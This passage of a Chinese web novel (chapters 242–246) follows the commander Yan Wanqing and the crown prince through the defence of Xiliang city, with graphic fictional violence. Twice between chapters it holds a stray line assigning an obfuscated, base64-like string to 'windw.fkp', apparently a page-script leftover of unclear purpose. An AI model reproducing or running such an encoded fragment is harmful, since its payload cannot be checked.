说完这句话。 燕晚清松手。 李呈媛瞪大眼睛看着自己的胸口,血水不断的从身体里中流出来,她感受到了生命的流失。 “众将士听令!”燕晚清不再看她,大声冲着士兵们说道:“随本帅前去镇压倭寇!” 燕晚清带着人从城门上飒飒离开,离开的时候,她看见有人将李呈媛的身体从城门上丢了下去。 那人一身白衣,有着和自己极为相似的面容。 果真是一母同胞。 斩草除根,十分熟稔。 城门之上,燕黎安看着燕晚清率先离开的背影,他陷入了沉思。 “公子。”有人喊他。 燕黎安没有应。 最近他脑海中的画面越来越多了,多到他感觉自己像是魔怔了一样,有时候睡梦之中,他看着那些画面,就好像是在看另外一个人的人生。 “主子,您为什么要把这个女子丢下城门?她身上有圣女的气息。” 燕黎安轻哼一声。 “圣女算什么东西。”伤了他的妹妹,就得死。 想到当时燕晚清身上所遭受的一切,燕黎安都觉得将这个女子丢下城门算轻的。 见燕黎安动怒,那人再也不敢说什么了。 余光看见城门下面的李呈媛张开双臂朝着天空的方向,双眼睁开,鲜血从她的身上不断的流出,好似在画一个诡异的图腾。 “主子。”否极突然出现在燕黎安的面前。 燕黎安不明所以:“?” “您是我家主子的兄长,喊您一声主子不为过。”否极解释道:“主子说了,眼下她要去前面迎敌,让属下留在这里带着您去城主府暂住。” “她可有说何时归来?”燕黎安说完感觉自己说了一句废话。 否极摸了摸后脑勺:“按照主子的个性,估计要等击退倭寇之后。” 击退? 那都得半个月了。 燕黎安微微蹙眉。 “主子,既然燕帅都这么说了,我们还是速去城主府吧。”燕黎安的属下说道。 他在提醒燕黎安,不要忘记自己的正事。 燕黎安点了点头:“只能这样了。” 总觉得这件事情,有点容易的过头了。 城东。 此时已然大乱,已有倭寇趁乱进入了城中开始烧杀抢虐,而其实的强壮兵力都被萧鸿深带去了城西。 “这可如何是好啊,城主,倘若不是七皇子非说城西才是倭寇的重工之地,咱们也不至于落到这种地步。”说话的人是纪云台身边的管家。 “稍安勿躁。”纪云台不断的拨弄着手里的石块:“城中都是我闲暇时布下的阵法,此刻催动也能保佑百姓,总比什么都不做的好。” “这……”管家摇头叹息,他手里捏着武器,警惕的看着四周,生怕突然窜出来不长眼的倭寇:“城主府死了人,阵眼都被污浊了,眼下还能行的通么?” “行不通也得行得通!我镇守西凉城二十余载,从未放弃过任何一个百姓,今日这一役也是如此!”纪云台背对着管家,唇角已经开始溢出鲜血,他抬手不在意的用袖子擦拭掉。 屋外不断传来嘶吼声,纪云台沉声说道:“你出去,保护百姓,再给我一刻钟的时间,阵法便能重新启动!” 管家咬咬牙,打开门冲了出去:“城主啊,你可快一点,老奴一把骨头撑不了多久的啊!” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百四十二章 银狼,你们清高 战火之下,尸横遍野,城西已经身陷囫囵,燕晚清一路杀过去,入眼的都是西凉城的百姓尸体。 “若只是守城,根本不会有倭寇能进来,这究竟是怎么一回事?”燕晚清现在非常想找到纪云台问问清楚。 只是她没有找到纪云台,却看到了被人逼到了街角的萧鸿深。 他身上全都是伤口,地上躺着的都是身边的护卫、暗卫。 “真是踏破铁鞋无觅处,得来全不费工夫,抓不到燕晚清,抓到这七皇子也是大功一件啊。”那群手里拿着弯刀的倭寇们朝着萧鸿深不断逼近。 萧鸿深步步后退,直至无路可退。 他冷笑一声:“你们这群见不得光的老鼠,竟然使出如此阴险毒计,声东击西,逼着本殿打开城门与你们决一死战,现在又妄图抓住本殿用来威胁大渭——本殿宁死不屈!” “哈哈哈哈好一个宁死不屈啊,都说大渭的皇子们聪明绝顶,那太子萧苹风更是人中龙凤,战场好手,早就将北边给平定了,怎么到咱们的七皇子这边,啧啧啧……”倭寇们没说完,但是最后这几声咋舌,让人不断遐想。 “要杀要剐悉听尊便,费那么多口舌作甚!”萧鸿深手里捏着一把断剑,身上的皇家之气在此刻尽显无疑。 废话不多说,直接动手。 “行啊,咱们七皇子不服气,想要和我们兄弟们再练练手呢。”一众倭寇嬉笑着朝着巷子口走了进去,里面开始传来刀剑撞击的声音。 这一切都被屋檐之上的燕晚清看见了。 她本想丢萧鸿深直接去死。 可是当看见倭寇用脚踩着他的头的时候,她还是没有忍住,将手里的匕首射出去,贯穿了那人的胸襟。 “何人?!” “叫你爷爷作甚!”燕晚清旋身而下,抬手便是一记凌厉掌风,直接割破了那三人的脖颈,剩下的倭寇立刻警惕的后退。 “看来是咱们七皇子的红颜知己来了啊。”倭寇们眯着眼睛打量着燕晚清,见她容貌秀美,又穿着一身女装,十分轻视。 “不会说话那就去死。”燕晚清一只手猛地拍在墙面上,溅起很多石块,随着她的动作直接刺破了那人的脖子。 这一招隔空杀人的招式,让人再也不敢轻视她了。 “姑奶奶我乃是这次西征的统帅,你们都张大耳朵听清楚了,我叫——”燕晚清一字一句:“燕、晚、清!” “什么她叫燕晚清!”倭寇们听见这三个字之后,大惊失色。 紧接着,他们立刻兴奋起来。 “把她抓起来回去换赏钱,这次大帅可说了,活捉燕晚清封千户侯!” 原本还只是我行我素的倭寇们听到这句话之后,蜂拥而至,很快便将整个巷子口给堵住了。 萧鸿深在燕晚清身后轻蔑的勾唇:“你是真的蠢还是假的蠢,都已经离开西凉城了,现在还要跑回来送死。” “闭嘴。”她露面只是不想让大渭的皇子受辱,这是她父兄们用血肉守护的疆土。 萧鸿深,这辈子只能死在她的燕晚清的手里。 “千户侯,看来本帅还挺值钱的。”燕晚清朝着他们勾了勾手指:“看你们有没有命拿了。” “给老子上!”倭寇们手持弯刀宛若蝗虫冲进了小巷子里。 “谁敢动!”一声低声呵斥从巷子口传来,紧跟着一声狼嚎。 倭寇们回过头便看见了一人一狼堵住了他们的退路。 “银狼,杀光他们。”萧苹风眼皮不眨的朝着里面走去,那群倭寇连他的衣服都碰不到便悉数飞了出去,紧接着被跟在后面的银狼咬住脖子直接杀死。 燕晚清不敢置信的看着他:“你,你怎么会在这里。” 萧苹风上前一把将她抱在怀中:“你在哪里我就在哪里。”他赶到蓝湖的时候只看见秦舞和她的婢女,听到她回到西凉城的消息,周身发凉,紧赶慢赶总算是赶上了。 在万人哀嚎之中,他们二人抱在一起,此时天地之间仿佛只剩下了他们二人。 “你们当我死的么?”萧鸿深从看见萧苹风出现的瞬间,就瞪大了眼睛,此刻再看见他们二人抱在一起,只想到刚刚倭寇为什么不直接捅死他。 萧苹风居高临下的看着他,轻哼一声:“这么久没见了,七弟还是这么没礼数,大哥都不喊了。” “萧苹风你擅离职守,可知这是死罪!”萧鸿深咬牙威胁道。 “这种时候了还想着拿捏别人的把柄,不愧是七皇子。”燕晚清讽刺道。 萧鸿深动作幅度太大,结果牵扯到了伤口,疼的脸一百:“你!” “你什么你?”燕晚清水眸冰冷:“真想让你死在这西凉城,省得你回京都害人。” 听到她的话,萧鸿深嗤笑一声:“彼此彼此。” 他何尝不想让面前的这二人也死在西凉城里,永生永世都不要回到京城里去呢。 “那就把他丢下便是,废话那么多做什么。”萧苹风抱着燕晚清就要离开。 眼看着他们二人是真的要走,而巷子口的银狼也一身是血的盯着自己,萧鸿深立刻焦急了:“本殿早在京都布下了天罗地网,本殿若是不能活着回到京都,到时候别说是燕家了,整个京都都得给本殿陪葬!” 此话终于让二人停下来了脚步。 燕晚清抓着萧苹风的衣角,突然语气放柔:“刚刚您的七弟说了什么?” 萧苹风斜眼扫向后面:“好像是什么陪葬。” “说到陪葬啊。”燕晚清勾了勾红唇:“想必京都的张家,王家还有那曹家黄泉路上定是不孤单的呢。” “你做了什么!”一听到这些字眼,萧鸿深铁青着脸急忙吼道。 “做的事情不必七皇子少,等到回京的那天,希望七皇子还能像今日这般威风凛凛。”燕晚清丢下这句话之后,已经跳跃到了屋檐之上,她居高临下看着萧鸿深的丑态,心里竟然说不出什么滋味。 并没有她想象的那般痛快。 下方。 萧鸿深死死的盯着萧苹风:“你就这么纵容她在京都胡作非为吗?你可是大渭的太子!” “太子?”萧苹风像是听到了什么好笑的字眼,轻笑了两声:“大渭的太子是什么稀罕玩意儿么?父皇还有你又何曾从心里承认了我的太子身份?少做出这种站在道德高点职责别人的行为,更何况,我早就不想当那什么太子了!” 他若是想,直接打下一个城池,占城为王便是! windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百四十三章 谁都别想,有好日子过 “嗷呜——”银狼一狼血战一群人,看着带自己来的男人站在那边跟人聊起了天,气得忍不住仰天长啸,将一群倭寇咬的鲜血淋漓。 听到银狼的抱怨,萧苹风勾唇微不可视的笑了一下,他拍了拍手,瞬间从四面八方涌出一批黑衣人。 “今日允许大开杀戒。” 丢下这句话只有,原本还木讷的黑衣人们瞬间像是疯了一样穿入了街角街巷,开始对于倭寇们大肆杀虐,实力根本就是天上和地下。 “……原来如此,原来如此!”萧鸿深看着那群鬼面黑衣人出现之后,面色逐渐灰败。 萧苹风知道他已经认出了自己的另外一个身份,淡然说道:“你们眼中那个至高无上的位置,我一点兴趣都没有。” 十八层地狱的主人,又怎么稀罕区区一个帝王之位呢? 萧鸿深落寞的超后踉跄了几步,手里的断剑被随意丢在了地上。 他仰头看到了屋檐上的燕晚清,她一身红衣站在上面,睥睨天下,似乎从未将一个小小的西凉城放在眼里,又或者从未将整个大渭放在眼中。 “既然你们都看不上,又为何要与本殿相争!”他红着眼,眼角都是愤怒与记恨。 “你当知道不是你的永远都不是你的,再者言,你无德无能心胸狭窄又如何能够当上一国之主,大渭是我父兄还有所有的将士用血肉一寸一寸的打下来的,萧鸿深,我眼下不杀你不是放过你,我要你眼睁睁的看着你触手可得的一切,在你面前烟消云散,以此来祭祀我父兄在天之灵!整个皇室欠他们的,都得还!” “哦对了,忘记告诉你一件事情。”燕晚清勾起了红唇,露出一抹恶魔般的笑意:“你的瑶池县主,已经被我杀了。” “你杀了她,被父皇知道了,难逃一死。”萧鸿深冷言道,丝毫没有因为这个女人的死,掀起心里的一点点波澜。 可见他的为人,有多么的冷血。 李呈媛为他怀孕为他小产千里迢迢的陪同,这一切的一切,在萧鸿深的眼中竟然都是理所当然。 见到他这副模样。 燕晚清一下子释怀了。 前世自己的辅佐,对这种人而言也是理所当然。 萧鸿深是从骨子里就流淌着黑水的天生坏种,在他的眼中,全天下都欠他的。 “你放心,你和你的父皇,我都不会放过的,当真以为我不知道燕家男儿是怎么死的?!”燕晚清说到此处,语气肃杀,眼里的杀意已经止都止不住了,连下面的银狼都忍不住呜咽一声。 萧苹风眼里闪过一丝诧异,突然好像明白了什么。 他抬眸看着那女子,眼里有说不清道不明的情绪。 燕晚清故意不去看萧苹风的目光,她死死的盯着萧鸿深。 “此次西征,主要的导火索是光明神教,如今如今圣女和圣子都已经在我们掌控之中,接下来只需要顺藤摸瓜抓住教主,捣毁圣教,战争便会停止。”她说这话的时候,一直盯着萧鸿深的神情,见他眼中没有异样,她微微蹙起了眉头。 萧鸿深不知道光明神教的事情? “你们这么厉害,一统六国去啊!在本殿面前大放厥词,有什么好得意的!”萧鸿深冷笑道,眼下大势已去,他自然不会以卵击石,可是他们忘记了他的背后还有一个人,宋化虚。 这个传说中无所不能的男人,他的父皇也不是个鼠辈,定是宋化虚有真本事,他才会跟在后面沉迷炼丹。 萧鸿深心里盘算着,眼里的精光不断闪烁。 燕晚清懒得再和这种人多费口舌:“把他抓住送到城主府去,剩下的人跟着本帅平定倭寇!” 她的命令下去,除了西征的士兵之外,萧苹风的那群鬼面黑衣人竟然也跟着应和。 “燕帅,你看我应该去干什么?”萧苹风噙着一抹浅笑看着她。 燕晚清心里的就像是被羽毛扫过一样。 “你……送你的好弟弟去城主府。”丢下这句话,她像是一只燕子窜了出去,进入了战场之中。 萧苹风眼里都是她的身影,直至全部看不见了,他才收回了视线。 “早在南山的时候,你们俩就勾搭在了一起是吧?”萧鸿深见状冷哼一声,骂了一句:“男盗女娼!” “你这是嫉妒。”萧苹风被骂了也不生气,伸出一只手拎起萧鸿深的衣襟,转眼间就到了屋檐之上,他看了一眼银狼,嘴里吹出一个尖锐的口哨,那银狼瞬间脱离开战圈,也跟着跳上了屋檐。 “敢做不敢当,那燕晚清可是北疆小侯爷的未婚妻,听说他们二人之间已经有了夫妻之实,你身为大渭的太子爷,身份如此尊贵,竟然会要一个这样的女子。”萧鸿深继续刺激道。 他没好日子过,萧苹风也休想。 可是下一秒,他就发出一声哀嚎! 原来是萧苹风将他的下巴给卸了。 只见他淡淡的开口道:“不过是一段时间不在京都了,你就敢这般跟皇兄说话?嗯?” 萧鸿深又疼又气,口水顺着唇角往下淌,好生狼狈! 他也是个狠人,硬生生的又将自己的下巴给安回去了。 “呵……都已经到了现在这个地步,你还摆什么皇兄的架子,今日你们不杀我,日后我寻到了机会,定不会手下留情。” 萧苹风扫了他一眼,话题一下子转移:“镇国公等人棺材回京的时候,听说发生了不少的事情,好像里面还有不少你的手笔。” “本殿不知道你在说什么。”萧鸿深矢口否认。 “她去找过你。” “那又如何?!”萧鸿深看着萧苹风的神情,蓦地大笑道:“窝囊啊萧苹风,你堂堂一个太子殿下,竟然被儿女情长左右,倘若我说当日她试图委身于我,来换取燕家父子的安然下葬你又该当如何?” “不信。” “她在大雨之中等着本殿开门,那可是全京都的百姓都看见的事实!”萧鸿深表情狰狞的说道。 萧苹风啊,萧苹风,你怎会喜欢上这样一个不洁的女子! 第二百四十四章 有本事,你就推我下去 “所以呢?”萧苹风轻挑眉峰,看着自己的这个弟弟,面上没有一丝情绪。 萧鸿深见状愣住。 “所以……”你应该愤怒啊,去质问她燕晚清。 而不是像现在这样站在这里,不咸不淡的问自己所以呢? “你们说什么,与我何干,我只相信她说的,只要是她说的我就信。”萧苹风眸光微凉,直勾勾的盯着他:“少挑拨离间。” “……什么狗屁天下之光,我看你就是个被女人迷晕了的蠢货,她燕晚清是什么样子的人,你自己心里不清楚吗?眼下京都都已经要沦为她的囊中之物了,你且记着,大渭姓萧不姓燕,你这样做对得起列祖列宗吗!” 萧鸿深气的口不择言,等自己说完才意识到究竟都说了些什么,但是他梗着一口气,双眼猩红的盯着自己的兄长。 他就不信,萧苹风能一气之下把自己杀了。 萧苹风眉眼都是嶙峋的风霜,抬手直接掐住了萧鸿深的脖颈,手背上的青筋直冒,足以见得他是用了大力的。 萧鸿深被掐的双眼忍不住往后翻,他本就比太子矮了半截,此刻双脚离地,表情十分痛苦。 便听见。 “她是什么样子的人,没有人比我更清楚。” “你真该庆幸她现在不想杀你,不然孤定要将你丢到狼群里,让它们撕碎你的皮肉,舔舐殆尽!” 每一个字,都淬着尖锐的冰,缠绕着荆棘生生勒在萧鸿深的心脏深处。 等到他以为自己这辈子就要这么过去的时候,脖颈上的束缚倏地一松。 他狼狈的跌坐在地上,大口的喘着气,感受着生命重新回到自己体内的感觉。 喘着喘着,萧鸿深就笑出了声,笑着笑着,眼角就堆积起了泪水。 “……你们不杀本殿,等本殿寻到了机会可不会对你们手下留情。”萧鸿深抬手用指腹拭去了眼角的泪水,然后放在了自己的唇边舔舐了一下。 苦的,意料之中。 “随你。”萧苹风居高临下,眼神中都带着漠然:“你本就是这样不懂知恩图报的人。” 就是这种漠然,让原本已经平静下来的萧鸿深猛地从地上一跃而起,只见他的手中不知道何时藏着一个短小的匕首,只有巴掌大,但是匕首的尖端泛着森冷湛蓝的光,足以说明上面抹着一种剧毒! “你们懂什么!你们这种生来便是天之骄子的人,怎么会懂得我的苦衷与不甘?!你和燕晚清一个嫡长子一个嫡长女,有父母疼爱,有手足关心,你们的出生都是带着所有人的祝福和希望,可是我呢!”萧鸿深一招一式都像是发了疯,只知道一往无前的刺向萧苹风,刺向自己的兄长。 萧苹风不断闪躲,眉头微微蹙起,表示自己的不理解。 萧鸿深还在继续。 “我只是父皇喝醉酒与一个宫女所生,为了我活命,我生母生下来就死了……整个皇宫里有谁把我当做皇子一样对待?!他们生气的就打我,高兴了也要打我,就连张岚依养的那条狗吃的都比我好!你说——”萧鸿深死死的盯着面前人,大声的质问道:“这样的我,凭什么对你们知恩图报!” 凭什么? 凭什么他生来就在黑暗之中,好不容易站在阳光底下了,这群人就要居高临下的指责自己不接受光明,不懂得知恩图报? 他偏不! 这都是世人欠他萧鸿深的。 “所以这便是你向忠良之臣下手的原因?”萧苹风冷哼一声:“简直是一派胡言。” “我承认镇国公他是彻头彻尾的好人,是个只知道带兵打仗忠于父皇的汉子,可是那又如何?他还是死了,死在了皇室的阴谋诡计之下哈哈哈……”萧鸿深的手此时已经被死死攥住,手跟匕首都在颤抖,他眼角猩红有泪,唇角扬起一个大大的笑容:“这一切的一切,父皇乃至满朝文武都在推动,所有人都迫切盼望他去死,所以他就死了啊。” “……你说这一切要是被燕晚清查出来了,她还会不会要你?” “会不会要你这个逼她一家老小差点满门皆灭仇人的儿子呢?” “本殿不过是一枚小小的棋子,真正挥刀下命令的刽子手可是我们的父皇啊,皇兄!” 眼看着萧苹风眼里的暗沉越发浓郁,萧鸿深唇角的笑意便越加诡谲。 “其实还有一件事,京都下大雪的那天,雁门关曾有骑兵冻僵在城门之下,有人带走了他……” 他语气放的特别柔和。 “你想知道带走他的人是谁么?” 萧苹风面色冷峻直勾勾的盯着他,没吭声,在等他的后续。 萧鸿深兀自舔了舔干涩的唇瓣,看向自己已经被捏的发白的手腕:“皇兄,你捏疼我了。” 萧苹风抿着唇,松了手。 萧鸿深捏着手里的匕首,甩了甩手,又揉了揉手腕。 他长叹息。 “告诉你可以,放我走。” “痴人说梦。”萧苹风想都没有想便回绝了。 萧鸿深轻笑,眼神笃定:“燕晚清之所以留我苟活,不过是为了拉着我到父皇面前对峙,可是我不过是个棋子,是他铲除异己的工具,父皇又怎会那我当回事,可是这个人不一样,只要他出面承认雁门关的事情是父皇所为,便绝无父皇狡辩的可能!” “你便与燕晚清说臣弟我是死在了路上,往后臣弟定然找个僻静的地方躲着,绝对不会再出现在你们面前!” “萧鸿深,你哄小孩儿呢?”原本面色一直冷峻的萧苹风突然就笑了,眼神里浸润了邪肆:“你以为孤怎么会有闲情逸致站在屋顶上陪你叙家常?” “你耍诈,套我话——!”萧鸿深面色难堪,咬牙切齿。 萧苹风揉了揉鼻尖:“你现在知道已经太晚了,话孤已经听明白了,现在你只需要告诉孤,藏在你们身后的那个人是谁就行了。” “痴心妄想!”萧鸿深此时被气疯了头:“我就算是从屋顶上跳下去摔死,也绝对不会告诉你!” “是么?”下一秒,萧苹风拎着他的脖子摁在了屋檐边上。 萧鸿深吓得面色白了一圈:“你有本事就推我下去!” “摔下去又死不了,摔瘸了还得孤背你……”萧苹风极其精明,他抬手便轻易夺走了萧鸿深手里的匕首,用匕首在萧鸿深的脖颈处比划几下:“看着挺毒,就拿你试试看吧。” 说着,不顾萧鸿深瞪大的眼眸,那匕首便在脖颈上划出一道血痕。 萧鸿深用力挣脱开来,身子往后仰倒,伸出手去摸。 “血……”他颤抖着手。 萧苹风把玩着匕首,在他面前蹲下:“怎么?平日里在七皇子府只看见别人的血,没见过自己的血?七弟,今日让你开开眼界,见见自己的。” 话音落下,他抬手又在萧鸿深的大腿上来了一下。 瞬间血水就渗透出了衣服。 “萧苹风你是不是有病啊!”萧鸿深嘶吼出声,眼神愤怒又恶毒,如果眼神能杀人,此刻萧苹风怕是已经死了一千次一万次了。 第二百四十五章 不是大一统,是喧嚣乱世 鲜血将玄色的长袍染成了深色,萧鸿深眯着眼睛打量着自己这个兄长。 传言中温和有礼,连一只蚂蚁都不敢踩死的的太子,实际上是十八层地狱的主人,那个杀人如麻的大恶魔。 “你终于暴露了本性,要是燕晚清看到你现在的这个样子,你说她会害怕吗?”萧鸿深用手捂住不断流血的大腿,忍着疼痛问道。 他知道萧苹风不敢杀他,所以才会这样不断的激怒他。 萧苹风听完眼皮甚至都没有眨一下。 “她不会知道。” “她早晚都会知道!”萧鸿深大声反驳:“父皇他们筹谋这么多年的事情,不也被燕晚清翻出来了吗?你的真实身份又能瞒多久呢?我的好兄长,你别自欺欺人了。” “聒噪。”萧苹风眼底浮现出烦躁。 被一直盯着他的萧鸿深瞧见了,他终于满意的笑出声来:“我等着看你的笑话。” 话音刚落,他径直被人从屋檐上直接踢了下去,他甚至能够看到萧苹风眼里的单薄。 “啊——” 疼。 四肢百骸传来的疼痛,他感觉自己的肋骨断了好几根。 “有一件事情你说的很对,孤病了,病的不轻。” 幽幽的声音从头顶上方传来,迎接萧鸿深的是汹涌如潮水的黑暗…… …… 西凉城的围城之战持续了三天三夜,原本被倭寇突破的城西凸起一只奇兵,将横行的倭寇杀的片甲不留,原本打算以身殉城的城主纪云台,被西征大帅燕晚清一把从城门上给救了回来,被百姓们传的神乎其神。 “当时若不是燕帅,城主大人就从城楼上摔下去,今日怕是就直接过头七了。” “别乌鸦嘴,说什么晦气话,城主大人庇佑我们西凉城已经足足二十余年,如果不是那个什么瑶池县主的鬼东西,城主府压根就不会见血,西凉城又怎么会那区区倭寇攻陷。” “……你说燕帅那么细小的胳膊究竟是怎么抓住城主的?她可是个女子。” “女子又如何,燕帅长相便不同凡人,只是可惜眼下她直捣倭寇黄龙,不在城中,不能瞻仰到她老人家的美丽容颜啊。” “是啊……已经快要到七天了,城外依旧没有传来消息。” 众人忍不住的唏嘘。 此刻倭寇大营之中。 宫殿外战火喧嚣。 年迈的帝王无情的用手掐死自己一个又一个妃子,快要到最后一个的时候。 那女子哭的梨花带雨。 “国主!国主!饶了我吧!教主一定会带着教徒们过来救驾的,我们还可以东山再起的啊国主——” 美丽的女子面上都是血滴,满脸都是冰凉的泪水,顺着她那张不可方物的脸忍不住的往下淌。 可是饶是如此。 那双有力的大手还是钳住她纤细的脖颈。 那半截脑袋都空落落,苍蝇来了都站不住脚的头颅,呈现出来的却是一张十分木然又无情的面容。 他看着苦苦哀求的妃子,直接透过她看向了大殿门之外的方向。 来不及了。 他的贵都已经守不住了。 那西凉城的燕帅,率领着一帮教主口中的乌合之众,生生的破开了他坚不可摧的城门! 仅仅花了七日! 他的贵都,就没了。 耳畔中,是大渭士兵们破城之后的战鼓喧嚣声,不需要多久,那可恶的大渭人便会站在自己的面前,用长刀指着自己,然后当着他的面侮辱他的美人们。 历朝历代,败者都是这样的待遇。 与其看到这群女人在大渭人手中遭受屈辱,倒不如现在直接死在自己手里。 “你放心,寡人下手很快的,寡人最疼爱你了,不会让你感受到一丝痛苦的。”他颤抖的目光看向旁边那群七倒八歪,此刻宛若脱水的鱼一样,躺在地上死的不能再死的妃子们,嘴唇紧紧的抿起:“还是说,你不想随着寡人殉国!” 七日里。 他的身边多得是逃散、身死、头像的臣子。 眼下城门也破了,他再无路可退。 “你不能杀我!我是圣女!”妃子见那国主心意已决,尖锐的喊出声,她双手紧紧的掐着他的臂膀,尖锐的直接直接戳进了肉中。 她不想死! 她不过是为了完成任务才会委曲求全嫁给这个什劳子国主。 才不过短短十日的时间! 这个人竟然想要她以身殉国! 痴心妄想! 她可是圣女! 格桑满含泪水的眼神逐渐变得狰狞起来:“杀了我,你的灵魂会下地狱!圣主永远不会祝愿一个杀了他圣女的教徒上天堂!” 国主被这句话刺激的一下子松开了手。 他超后踉跄两步。 得到自由的格桑立刻大口呼吸。 “……上不上天堂,下不下地狱,于寡人现在又有何分别?”他捂住脸,透过指缝间看向外面,已经看到骑兵蜂拥而来,长廊长巷之上都是被一刀毙命的士兵。 他一下子就冷静了下来。 格桑却以为他害怕了,她指着外面继续说道:“你现在出去投降,等教主过来就能救你出来,到时候还你一个更为昌盛厉害的贵都!” 她丝毫没有注意,国主手里已经捏住了一柄弯刀。 格桑还在继续说:“你见过教主的,你和我都知道他有着让世间撼动的能力,所以你卷土重来根本就不是——”梦。 话还没有说完。 只看见眼前寒光一闪。 那颗美丽的已经飞了出去,落在了妃子们的尸体中间,滚了两下,最后停了下来,她的红唇还张着,眼里都是不敢置信。 而她的躯体已经如秋风落叶般软绵下去,瘫软在地上,再也起不来了,鲜血汩汩流了一地。 “就是听多了你们这些鬼话,寡人才会葬送整个贵都!”国主将弯刀架在了脖子上,紧紧的闭上了双眼,两行热泪从眼眶中流下。 “时至今日,寡人已经酿成无法挽回的大错,唯有一死才能弥补,寡人对不起贵都的士兵,对不起百姓,对不起列祖列宗……” 他深呼吸一口气,弯刀以一种依然决然的姿势就要割向喉咙。 “且慢!”清丽的女声从正门口急促传来。 只见燕晚清身披战甲,踏着马头飞身到达了大殿之前,与那贵都国主仅仅隔了一个门槛的距离。 “早就听闻燕帅是个绝色女子,今日这一战,寡人心服口服,与你并无不甘,倘若你想侮辱于寡人,还请寡人死后!” 燕晚清微微蹙眉,她已经看到了地上的尸体,层层叠叠,有妃子的也有太监宫女的。 “你可以死,但是死之前能否告知谁让你们袭击了西凉城?” 贵都国主冷笑一声:“燕晚清你不要太过分了!” 燕晚清目光深沉:“本帅不相信你不想找这个让你国破人亡的凶手复仇!” 贵都国主眼神松动了几分,可是好半饷他还是摇了摇头:“你们斗不过他的,时至今日寡人才幡然醒悟,他要的根本就不是大一统,而是这喧嚣乱世!” “谁!”燕晚清拔高声音厉声问道。 国主见她迫切想知道,心中也存了侥幸:“你当真想知道?一旦知道,你就没有回头路了。” “光明神教的事情本帅已经知道了,以后的事情本帅也会知道,现在你说还是不说!”燕晚清并没有这么多耐心。 “寡人告诉你便是,那个人是……”国主刚刚做出一个唇形,第一个音节还没有说出声,手里的弯刀就像是长了眼睛似的,以一种极其强悍的力量,直接将他的头给割了下来! 第二百四十六章 大获全胜,千机再现 鲜血在空中溅起足足三尺,温热的触感在燕晚清的面颊上。 她用手背胡乱的擦了一下,抬脚走进了大殿。 “情况……”萧苹风从身后过来,语气在看到满地的尸体之后,变得低沉起来:“不太妙。” 燕晚清表情凝重。 “来晚了,格桑已经被杀了。” 死相凄惨,身首分离。 死的不能再死了。 萧苹风超前走了两步,看到尸体中的头颅。 格桑有多动作的时间刚好是燕晚清失踪的那段日子,他根本无心去顾及这个女人想要干什么,一门心思都放在了寻找燕晚清的上面。 “那天晚上我看见她在城主府外面鬼鬼祟祟,才跟了出去,然后就遇见了……”燕晚清想到了不太愉快的事情,停住了话语。 萧苹风上前安抚性的勾住了她的肩膀:“你大哥活着回来就好,记忆迟早都会恢复的。” “但愿如此。”燕晚清心里也没有多少底,只等回到京都,让六妹试试看了。 “治好我的人是我们的师父。”说到宋化虚,燕晚清真的十分好奇这个人究竟在这场滔天的阴谋里面扮演着什么样自的角色! 害她,又救她。 让人摸不清楚头绪。 萧苹风听到这个人,眉头直接皱了起来:“有件事情一直忘记跟你说,萧鸿深被自己的匕首所伤,上面的毒为千机。” “千机——”听到这个毒的名字,燕晚清心里还会后怕。 整整五年,她都被千机牵制着,稍微动作便会吐血,整个人虚弱的不行。 燕晚清超后踉跄了一步。 “晚晚。”萧苹风眸色闪动,很是担忧的上前扶住她。 燕晚清抬手,超前走了半步:“没事。” 她的唇色刹那间变得苍白。 千机的毒是宋化虚给父亲的……小六说过此毒极为难锻造,皇帝和父亲哪里会有这种毒,唯一的解释就是宋化虚给了父亲,然后父亲亲自给她服下了。 为什么? 为什么偏偏是她? 燕晚清感觉胸口一阵沉闷。 按照他们的说法,她不过是个女子。 “晚晚。”萧苹风见她额头上有虚汗,抬手就要擦拭,此时常千户突然走了进来。 “燕帅,外面所有的倭寇都已经投降,兄弟们都夸您料事如神啊——”常千户兴高采烈的走进来,却发现自家主帅此刻面色苍白如纸,他愣了一下,问道:“这是?” “无碍。”燕晚清收敛心神,她扫了一眼地上的尸体,目光和地上瞪着眼睛看向门的格桑对视,然后缓缓抽离。 就……晚了一步,线索又断了。 “此战大获全胜,传令下去,犒赏三军——!”燕晚清大声说道,表情凌然,已经不复刚刚脆弱的模样了。 常千户见状连忙:“好,好嘞!” 他上前走了两步到燕晚清的身边:“这就吩咐下去,咱们什么时候这么扬眉吐气过!这场仗打的实在是爽!” 少女穿着朱红色的战甲,三千发丝高高竖在头顶,目光有着不符合年龄的坚毅,只见她捏住腰上的佩剑,抬脚跨过高高的大殿门槛,将整个人都沐浴在阳光之下。 “众将士听令!”她拔剑指向天空。 将士们肃然起敬:“在!” “清扫战场,准备凯旋——”燕晚清眯着眼睛扫视台阶下的众人,气沉丹田,声音嘹亮响彻整个广场,让人热血沸腾! & 回城的那天西凉城的百姓夹道欢迎,燕晚清骑在棕红色的高头大马之上,俏脸上没有一丝情绪,看着西凉城数量减半的百姓们,她的心里甚至是沉痛的。 倘若自己那天晚上没有去追格桑。 那么她就不会错过倭寇偷袭的时候。 那光明神教阴险歹毒,关键时候让大哥露面,降低自己的自信心,后面又勾搭李呈媛对她下死手,一环扣一环下来,倘若没有宋化虚,她真的没有生还的可能。 这是前所未有强大的对手,必须提起十二万分的精力。 好不容易从热情的百姓中成功回到了城主府,纪云台已经早早摆好了宴会。 见到燕晚清一众,他驱使着轮椅向前,他的胳膊上还缠着纱布,面上都是热忱:“燕帅!您终于凯旋而归了!” 燕晚清莞尔,勾唇浅笑了一下:“嗯,回来了。” 却见白衫的青年热泪盈眶,用着伤残的手朝着燕晚清深深的作揖:“微臣代表整个西凉城的百姓感谢燕帅的大恩!解决了西凉城百年来的外患!” 燕晚清赶紧上前扶住他:“何须行此大礼,本帅从京都率大军过来就是为了解决战乱,这是本职。” 